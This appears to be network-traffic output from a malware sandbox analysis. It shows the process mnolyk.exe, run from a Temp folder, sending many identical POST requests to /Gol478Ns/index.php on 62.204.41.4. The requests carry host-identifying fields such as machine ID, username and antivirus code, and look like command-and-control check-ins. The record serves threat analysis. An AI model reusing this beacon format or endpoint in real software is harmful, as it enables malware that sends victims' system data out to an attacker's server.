Feb 8, 2023 21:33:49.297652006 CET	722	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:49.361480951 CET	723	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
524	192.168.2.3	50227	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:49.587647915 CET	723	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:49.650621891 CET	724	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
525	192.168.2.3	50228	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:49.973795891 CET	724	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:50.039262056 CET	725	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
526	192.168.2.3	50229	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:50.275674105 CET	725	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:50.339781046 CET	726	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
527	192.168.2.3	50230	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:51.181015968 CET	726	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:51.248961926 CET	727	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
528	192.168.2.3	50231	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:51.521867037 CET	727	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:51.585773945 CET	728	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
529	192.168.2.3	50232	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:53.216896057 CET	728	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:53.281989098 CET	729	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49755	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:29.861684084 CET	254	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:29.925134897 CET	254	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
530	192.168.2.3	50233	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:53.481596947 CET	729	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:53.546242952 CET	730	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
531	192.168.2.3	50234	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:53.720356941 CET	730	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:53.786386013 CET	731	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
532	192.168.2.3	50235	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:53.957839966 CET	731	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:54.021266937 CET	732	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
533	192.168.2.3	50236	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:54.215832949 CET	732	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:54.281761885 CET	733	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
534	192.168.2.3	50237	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:54.456114054 CET	733	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:54.520998955 CET	734	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
535	192.168.2.3	50238	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:54.690315008 CET	734	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:54.753885984 CET	735	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
536	192.168.2.3	50239	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:54.923460960 CET	735	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:54.986309052 CET	736	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
537	192.168.2.3	50240	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:55.156611919 CET	736	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:55.221343040 CET	737	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
538	192.168.2.3	50241	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:55.394284010 CET	737	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:55.458506107 CET	738	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
539	192.168.2.3	50242	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:55.637495041 CET	738	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:55.700236082 CET	739	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49756	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:30.104619026 CET	255	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:30.170248985 CET	255	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
540	192.168.2.3	50243	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:55.883469105 CET	739	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:55.948122025 CET	740	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
541	192.168.2.3	50244	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:56.124936104 CET	740	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:56.189805984 CET	741	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
542	192.168.2.3	50245	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:56.364181042 CET	741	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:56.427768946 CET	742	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
543	192.168.2.3	50246	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
